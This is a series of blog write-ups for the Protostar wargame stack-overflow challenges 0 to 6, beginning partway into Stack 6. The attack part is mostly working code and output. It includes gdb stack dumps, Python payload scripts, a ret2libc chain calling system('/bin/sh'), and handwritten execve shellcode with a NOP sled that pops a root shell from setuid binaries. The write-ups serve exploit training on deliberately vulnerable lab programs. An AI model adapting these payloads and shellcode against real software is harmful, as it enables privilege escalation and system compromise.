user@protostar:~/stack6$ python -c "print 'A'*0x54" | /opt/protostar/bin/stack6
input path please: got path
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
(gdb) x/20x $esp - 0x5c
0xbffff764: 0x00000001  0xb7fff8f8  0x41414141  0x41414141
0xbffff774: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff784: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff794: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff7a4: 0x41414141  0x41414141  0x41414141  0x41414141
Here is the python script to exploit it.
user@protostar:~/stack6$ cat shell6.py
#!/usr/bin/env python

offset = 0x50
cmd = "/bin/sh;#"
junk = "J" * (offset - len(cmd))
ret1= "\xb0\xff\xec\xb7"
ret2 = "\xc0\x60\xec\xb7"
arg1 = "\x6c\xf7\xff\xbf"
arg2 = "\xf0\xff\xff\xff"

payload = cmd + junk + ret1 + ret2 + arg1 + arg2

print payload
The value of arg2 (exit() argument) may be interesting to the astitute reader. We can't provide 1 as an argument to exit as "\x01\x00\x00\x00" because null bytes will bite us. Unfortunately, exit() ignores the content of the 3 most significant bytes as it takes values between 0 and 255, and thus "\xf0\xff\xff\xff" equals to 240. Why 0xf0 ? Just a not-null value that came across my mind.
Test time!
user@protostar:~/stack6$ python shell6.py > pwn6
user@protostar:~/stack6$ (cat pwn6; cat) | /opt/protostar/bin/stack6

input path please: got path
/bin/sh;#JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ����JJJJJJJJJJJJ�����`��l�������
whoami
root
exit

user@protostar:~/stack6$ echo $?
240
And that is it!

Sunday, December 16, 2012

exploit-exercises Protostar: Stack 5

This is the write-up for Stack 5 challenge of the exploit-exercises' Protostar
wargame. The source code of the vulnerable program is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
   char buffer[64];
   gets(buffer);
}
This time, we won't get a win() free ride. A good opportunity to have some fun
writing some shellcode. ;)
Like the previous challenge, we use gdb to debug the vulnerable program. We
break just after the gets() call. We check the offset between where the return
address is stored and the buffer address.
user@protostar:~/stack5$ gdb -q /opt/protostar/bin/stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
(gdb) break *main+21
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) run
Starting program: /opt/protostar/bin/stack5
AAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, main (argc=1, argv=0xbffff864) at stack5/stack5.c:11
11      stack5/stack5.c: No such file or directory.
        in stack5/stack5.c
(gdb) x/40x $esp
0xbffff760:     0xbffff770      0xb7ec6165      0xbffff778      0xb7eada75
0xbffff770:     0x41414141      0x41414141      0x41414141 0x41414141
0xbffff780:     0x41414141      0x08004141      0xbffff7b8    0x08048409
0xbffff790:     0xb7fd8304      0xb7fd7ff4      0x080483f0      0xbffff7b8
0xbffff7a0:     0xb7ec6365      0xb7ff1040      0x080483fb      0xb7fd7ff4
0xbffff7b0:     0x080483f0      0x00000000      0xbffff838      0xb7eadc76
0xbffff7c0:     0x00000001      0xbffff864      0xbffff86c      0xb7fe1848
0xbffff7d0:     0xbffff820      0xffffffff      0xb7ffeff4      0x08048232
0xbffff7e0:     0x00000001      0xbffff820      0xb7ff0626      0xb7fffab0
0xbffff7f0:     0xb7fe1b28      0xb7fd7ff4      0x00000000     0x00000000
(gdb) x/2x $ebp
0xbffff7b8:     0xbffff838      0xb7eadc76
(gdb) p 0xbffff7b8 - 0xbffff770 + 4
$1 = 76
We have 72 bytes up to EBP and 76 to reach where the return address is stored. Then, we set our system to generate core dumps files of crashes.
user@protostar:~/stack5$ ulimit -c unlimited
user@protostar:~/stack5$ cat /proc/sys/kernel/core_pattern
/tmp/core.%s.%e.%p
and as root, we set the /proc/sys/fs/suid_dumpable value. We will analyze the core dumps after that.
user@protostar:~/stack5$ gdb -q -c /tmp/core.11.stack5.1471
Core was generated by `/opt/protostar/bin/stack5'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x/40wx $esp - 100
0xbffff76c:    0x080483d9  0xbffff780  0xb7ec6165  0xbffff788
0xbffff77c:    0xb7eada75  0x41414141  0x41414141  0x41414141
0xbffff78c:    0x41414141  0x41414141  0x41414141  0x41414141
0xbffff79c:    0x41414141  0x41414141  0x41414141  0x41414141
0xbffff7ac:    0x41414141  0x41414141  0x41414141  0x41414141
0xbffff7bc:    0x41414141  0x41414141  0x41414141  0x41414141
0xbffff7cc:    0x41414141  0x41414141  0x41414141  0x41414141
0xbffff7dc:    0x41414141  0x41414141  0xffffff00  0xb7ffeff4
0xbffff7ec:    0x08048232  0x00000001  0xbffff830  0xb7ff0626
0xbffff7fc:    0xb7fffab0  0xb7fe1b28  0xb7fd7ff4  0x00000000
The correct address at which we start writing is 0xbfffff780.
With all this known, our payload should be <NOPs>.<Shellcode>.<JJJJ.<NEWRET>
The NOPs are instruction that when executed, do nothing. They are there to
increase the chance of the shellcode being run properly and make the exploit
more portable/reliable as it would be harder to pinpoint the start of the
shellcode in varying running environments/situations. The NOP instruction's
opcode is 0x90. The total size of the nopsled + shellcode is 72. The JJJJ is
just junk value that will be on the frame pointer. Its value is not important.
The NEWRET is the value that will be stored in EIP when the main() call
returns. We should point it somewhere in the middle of the nopsled to increase
the likelihood of the exploit succeeding. Now with the fun part, writing the shellcode.  Some tutorials you may find good for a start are this tutorial by Daniele Mazzocchio and this one by Steve Hanna. For this challenge, I have written this simple enough shellcode:
user@protostar:~/stack5$ cat shell.asm
section .text

global _start

_start:
; execve("/bin/sh", NULL, NULL)

mov eax, 0xf068732f
and eax, 0x0fffffff
push eax
mov eax, 0x6e69622f
push eax
mov ebx, esp
xor eax, eax
mov al, 11
xor ecx, ecx
xor edx, edx
int 0x80
I prefer the simpler push mov and push way of storing the "/bin/sh" string in memory to the call/jmp trick you may see elsewhere. The "and eax, 0x0fffffff" along with a "0xf0..." is what I thought of to add the trailing null byte to the string. There are surely other ways to do it. It comes down to what you prefer/know.
user@protostar:~/stack5$ nasm -f elf shell.asm
user@protostar:~/stack5$ ld -o shell shell.o
user@protostar:~/stack5$ ./shell
$ whoami
user
This little toy works, time to use it for real. We first get the opcodes
user@protostar:~/stack5$ objdump -d shell.o

shell.o:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:   b8 2f 73 68 f0          mov    $0xf068732f,%eax
   5:   25 ff ff ff 0f          and    $0xfffffff,%eax
   a:   50                      push   %eax
   b:   b8 2f 62 69 6e          mov    $0x6e69622f,%eax
  10:   50                      push   %eax
  11:   89 e3                   mov    %esp,%ebx
  13:   31 c0                   xor    %eax,%eax
  15:   b0 0b                   mov    $0xb,%al
  17:   31 c9                   xor    %ecx,%ecx
  19:   31 d2                   xor    %edx,%edx
  1b:   cd 80                   int    $0x80
And because life is too short to not use Python, we use it to generate the full payload.
user@protostar:~/stack5$ cat pwn5.py
#!/usr/bin/env python
offset = 72
shellcode = "\xb8\x2f\x73\x68\xf0\x25\xff\xff\xff\x0f\x50\xb8\x2f\x62\x69\x6e\x50\x89\xe3\x31\xc0\xb0\x0b\x31\xc9\x31\xd2\xcd\x80"

nopsled = "\x90" * (offset - len(shellcode))

ret = "\x90\xf7\xff\xbf"

payload = nopsled + shellcode + "JJJJ" + ret

print payload
user@protostar:~/stack5$ python pwn5.py | xxd -g 1 -
0000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0000010: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0000020: 90 90 90 90 90 90 90 90 90 90 62 38 2f 73 68 f0  ..........b8/sh.
0000030: 25 ff ff ff 0f 50 b8 2f 62 69 6e 50 89 e3 31 c0  %....P./binP..1.
0000040: b0 0b 31 c9 31 d2 cd 80 4a 4a 4a 4a 90 f7 ff bf  ..1.1...JJJJ....
0000050: 0a                                               .
The trailing "\x0a" generate by the python "print" doesn't hurt. :)
user@protostar:~/stack5$ python pwn5.py > payload5
user@protostar:~/stack5$ /opt/protostar/bin/stack5 < payload5
user@protostar:~/stack5$ id
uid=1001(user) gid=1001(user) groups=1001(user)
Now, this part bogged me for some time, I have debugged the exploit and
everything was working as expected, except the suid shell that was being
dropped. Trying other programs such as "/bin/ls" worked fine. After some
google-fu, I found out that it was caused by the shell redirection "<"
appending an EOF after redirecting payload5.
Courtesy of opensecuritytraining, I used this bash trick to circumvent this
problem rather than opting for a different exploit.
user@protostar:~/stack5$ (cat payload5; cat) | /opt/protostar/bin/stack5

id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
ls
payload5  pwn5.py  shell  shell.asm  shell.o
whoami
root
And that is it! the second "cat" is used to keep the file descriptor of the stdin of the pipe open, so that we can leverage the shell.

Sunday, December 9, 2012

exploit-exercises Protostar: Stack 4

Our goal in Stack 4 challenge of Protostar wargame is again to alter the program to run the win() function. The source code is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}
First, we get the win() function address in memory.
user@protostar:~$ objdump -d /opt/protostar/bin/stack4 | grep win
080483f4 <win>:
This time however, we don't have a function pointer to overwrite. We will have
to overwrite the return address which will be written into EIP when the main()
function call finishes. Some more information could be found in the first write-up of the series. Knowing that the return address is stored at $ebp+0x4 address in memory, we first experiment with a bogus value, the infamous 0x41414141.
user@protostar:~$ gdb -q /opt/protostar/bin/stack4
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) break main
Breakpoint 1 at 0x8048411: file stack4/stack4.c, line 15.
(gdb) run
Starting program: /opt/protostar/bin/stack4

Breakpoint 1, main (argc=1, argv=0xbffff834) at stack4/stack4.c:15
warning: Source file is more recent than executable.
15    gets(buffer);
(gdb) x/30x $esp
0xbffff730: 0xb7fd7ff4    0xb7ec6165  0xbffff748    0xb7eada75
0xbffff740: 0xb7fd7ff4    0x080495ec  0xbffff758    0x080482e8
0xbffff750: 0xb7ff1040    0x080495ec  0xbffff788    0x08048449
0xbffff760: 0xb7fd8304    0xb7fd7ff4  0x08048430    0xbffff788
0xbffff770: 0xb7ec6365    0xb7ff1040  0x0804843b    0xb7fd7ff4
0xbffff780: 0x08048430    0x00000000  0xbffff808    0xb7eadc76
0xbffff790: 0x00000001    0xbffff834  0xbffff83c    0xb7fe1848
0xbffff7a0: 0xbffff7f0    0xffffffff
(gdb) i r $ebp
ebp            0xbffff788   0xbffff788
(gdb) set *(0xbffff788+0x4) = 0x41414141
(gdb) continue

Continuing.


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Knowing that, we have full control of the execution of the program.
(gdb) start
Temporary breakpoint 1 at 0x8048411: file stack4/stack4.c, line 15.
Starting program: /opt/protostar/bin/stack4

Temporary breakpoint 1, main (argc=1, argv=0xbffff864) at stack4/stack4.c:15
warning: Source file is more recent than executable.
15      gets(buffer);
(gdb) next
AAAAAAAAAAAAA

16      }
(gdb) x/40wx $esp
0xbffff760:     0xbffff770      0xb7ec6165   0xbffff778      0xb7eada75
0xbffff770:     0x41414141   0x41414141  0x41414141   0x08040041
0xbffff780:     0xb7ff1040     0x080495ec  0xbffff7b8       0x08048449
0xbffff790:     0xb7fd8304    0xb7fd7ff4    0x08048430    0xbffff7b8
0xbffff7a0:     0xb7ec6365    0xb7ff1040   0x0804843b    0xb7fd7ff4
0xbffff7b0:     0x08048430    0x00000000 0xbffff838       0xb7eadc76
0xbffff7c0:     0x00000001    0xbffff864     0xbffff86c       0xb7fe1848
0xbffff7d0:     0xbffff820       0xffffffff         0xb7ffeff4       0x0804824b
0xbffff7e0:     0x00000001    0xbffff820     0xb7ff0626     0xb7fffab0
0xbffff7f0:     0xb7fe1b28      0xb7fd7ff4    0x00000000   0x00000000
(gdb) i r $ebp
ebp            0xbffff7b8       0xbffff7b8
(gdb) p $ebp + 0x4 - 0xbffff770
$1 = (void *) 0x4c
(gdb) p 0x4c
$2 = 76
We start writing at 0xbffff740, and RET address is stored at 0xbffff78c
($ebp+0x4), the offset is 76 bytes.
user@protostar:~$ python -c "print 'A'*76+'\xf4\x83\x04\x08'" | /opt/protostar/bin/stack4
code flow successfully changed

exploit-exercises Protostar: Stack 3

This time, with Stack 3 challenge of Protostar wargame, we have another
vulnerable program to exploit. The source code is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];

fp = 0;

gets(buffer);

if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
We have to alter the program to run the win() function. fp is the funciton pointer
whose value should be modified to point to the win() function's memory address.
One method to find win()'s address is to use objdump utility:
user@protostar:~$ objdump -d /opt/protostar/bin/stack3 | grep win
08048424 <win>:
Another method is to use the GNU Debugger:
user@protostar:~$ gdb -q /opt/protostar/bin/stack3
Reading symbols from /opt/protostar/bin/stack3...done.
(gdb) p win
$1 = {void (void)} 0x8048424 <win>
With the target function's address known as 0x8048424 and taking into account
endianess, we use the following payload:
user@protostar:~$ echo `python -c "print 'A'*64+'\x24\x84\x04\x08'"` | /opt/protostar/bin/stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

exploit-exercises Protostar: Stack 2

Continuing with Exploit-Exercises' Protostar wargame, this time tackling on Stack 2 challenge which introduces to the use of environment variables.
The source code of the target binary is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;

variable = getenv("GREENIE");

if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}

modified = 0;

strcpy(buffer, variable);

if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}

}
As the previous challenge, we have a 64 bytes offset. However, modified variable should match 0x0d0a0d0a value. Second difference is that the payload is read from the environment variable GREENIE using the getenv() library call. The content is then copied into buffer variable. We will use the shell's builtin command export to set the value of the GREENIE env variable.
user@protostar:~$ export GREENIE=`python -c "print 'A'*64+'\x0a\x0d\x0a\x0d'"`
user@protostar:~$ /opt/protostar/bin/stack2

you have correctly modified the variable

exploit-exercises Protostar: Stack 1

This is the write-up for stack1 challenge of Exploit-Exercises' Protostar wargame. The source code is provided as fellow:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];

if(argc == 1) {
errx(1, "please specify an argument\n");
}

modified = 0;
strcpy(buffer, argv[1]);

if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
Like the previous challenge, the task is to change the value of modified
variable. But this time, we have to set it up to a certain value: 0x61626364.
When looking at the ASCII table, you will see that these values are:
0x61 => a, 0x62 => b, 0x63 => c, 0x64 => d
user@protostar:~/stack1$ gdb -q /opt/protostar/bin/stack1
Reading symbols from /opt/protostar/bin/stack1...done. 
(gdb) run `python -c "print 'A'*64+'abcd'"`
Starting program: /opt/protostar/bin/stack1 `python -c "print 'A'*64+'abcd'"`
Try again, you got 0x64636261

Program exited with code 036.
One small catch is that 'abcd' will be read as 'dcba'. Why is that ? Simply
because we are directly altering data in memory and the x86 architecture is
little endian.
(gdb) break 18
Breakpoint 1 at 0x80484a7: file stack1/stack1.c, line 18.
(gdb) run `python -c "print 'A'*64+'abcd'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/stack1 `python -c "print 'A'*64+'abcd'"`

Breakpoint 1, main (argc=2, argv=0xbffff814) at stack1/stack1.c:18
18    in stack1/stack1.c
(gdb) x/30wx $esp
0xbffff700:    0xbffff71c        0xbffff94e        0xb7fff8f8       0xb7f0186e
0xbffff710:    0xb7fd7ff4       0xb7ec6165    0xbffff728        0x41414141
0xbffff720:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff730:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff740:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff750:    0x41414141    0x41414141    0x41414141    0x64636261
0xbffff760:    0x08048400    0x00000000    0xbffff7e8        0xb7eadc76
0xbffff770:    0x00000002    0xbffff814 
With that said, in order to exploit this challenge, we use the value 'dcba' in our payload.
user@protostar:~$ /opt/protostar/bin/stack1 `python -c "print 'A'*64+'dcba'"`
you have correctly got the variable to the right value

Wednesday, December 5, 2012

exploit-exercises Protostar: Stack 0

This is the first write-up of exploit-exercise's Protostar wagame which introduces to the concept of memory corruption vulnerabilities.
In Stack0 challenge, we are provided with the following code source:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
 
  modified = 0;
  gets(buffer);

  if(modified != 0)
    {
      printf("you have changed the 'modified' variable\n");
    }
  else
    {
      printf("Try again?\n");
    }
}
As you have guessed, the goal is to change the value of modified variable.
But, how you may ask ? We are only able to write into buffer, through gets() function call.
We should start with understanding the memory layout for a function call (in
our case, main())
The stack is a LIFO (Last-In, First-Out) data structure. We "push" data into
the stack, and "pop" from it. A "pop" operation returns the last element that
was inserted into the stack, thus the LIFO name. "See it like a dishes' stack", said
one of my teachers in college (and yes, I still remember it.)
Any assembly introductory tutorials should explain in details the use of
registers such as ESP, EIP, EBP as well as where local variables are stored in memory.

A picture  is worth a million of words.

(First Google images result, straight from wikipedia.)
 Diving into stack0's memory layout, with gdb, we see:
user@protostar:~$ gdb -q /opt/protostar/bin/stack0
Reading symbols from /opt/protostar/bin/stack0...done.
(gdb) break main
Breakpoint 1 at 0x80483fd: file stack0/stack0.c, line 10.
(gdb) run
Starting program: /opt/protostar/bin/stack0

Breakpoint 1, main (argc=1, argv=0xbffff884) at stack0/stack0.c:10
warning: Source file is more recent than executable.
10      modified = 0;
(gdb) next
11      gets(buffer);
(gdb)
AAAAAAAAAAAAAAA
13      if(modified != 0) {
(gdb) x/40xw $esp
0xbffff770:     0xbffff78c      0x00000001      0xb7fff8f8      0xb7f0186e
0xbffff780:     0xb7fd7ff4     0xb7ec6165      0xbffff798       0x41414141
0xbffff790:     0x41414141   0x41414141     0x00414141    0x080482e8
0xbffff7a0:     0xb7ff1040     0x08049620     0xbffff7d8        0x08048469
0xbffff7b0:     0xb7fd8304    0xb7fd7ff4       0x08048450    0xbffff7d8
0xbffff7c0:     0xb7ec6365    0xb7ff1040      0x0804845b    0x00000000
0xbffff7d0:     0x08048450   0x00000000     0xbffff858       0xb7eadc76
0xbffff7e0:     0x00000001   0xbffff884         0xbffff88c        0xb7fe1848
0xbffff7f0:      0xbffff840      0xffffffff             0xb7ffeff4        0x0804824b
0xbffff800:     0x00000001   0xbffff840         0xb7ff0626      0xb7fffab0
(gdb) continue
Continuing.
Try again?
To exploit it, nothing simpler. Given that we can write with no restrictions into buffer, that the declaration of modified variable comes before buffer declaration, we are able to overwrite it.
user@protostar:~$ echo `python -c "print 'A'*65"` | /opt/protostar/bin/stack0
you have changed the 'modified' variable